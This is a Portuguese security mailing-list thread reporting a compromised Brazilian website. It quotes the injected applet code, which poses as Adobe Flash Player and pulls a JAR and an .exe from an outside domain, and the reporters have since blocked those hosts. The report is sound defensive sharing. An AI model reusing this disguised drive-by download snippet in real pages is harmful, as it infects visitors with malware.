[MASOCH-L] Website contaminado com virus

[Jessian Cavalcanti]

Cleber - Listas wrote:
> Caros,
>  
> O website active.com.br está contaminado na URL:
> http://active.com.br/Diretoria/convite_licitacao012010.htm
>  
> Ao acessar ele instancia um programa .JAR na qual mostra-se uma tela com
> nome de Flash para fazer download de um arquivo .EXE
>  
>     <applet name="Adobe FlashPlayer" code="Inicio.class"
> archive="http://www.facaacontecerwyeth2009.com.br/FlashPlayer.jar"
> height="10" width="1">
> 
>       <param name="url"
> value="http://www.facaacontecerwyeth2009.com.br/css/planilha2010_xls.exe">
> 
>     </applet>
> 
> 
> Já incluimos os websites e IP em nossos filtros de Email e Proxy.
>  
> Abraços, Cleber
>  


curiosamente o captcha utilizado e' o da Receita Federal:

http://www.receita.fazenda.gov.br/scripts/srf/intercepta/captcha.aspx?opt=image

abraco eletronico
-- 
Jessian Cavalcanti
Grupo de Suporte e Redes
Unesp - Assessoria de Informática
(11) 5627 0572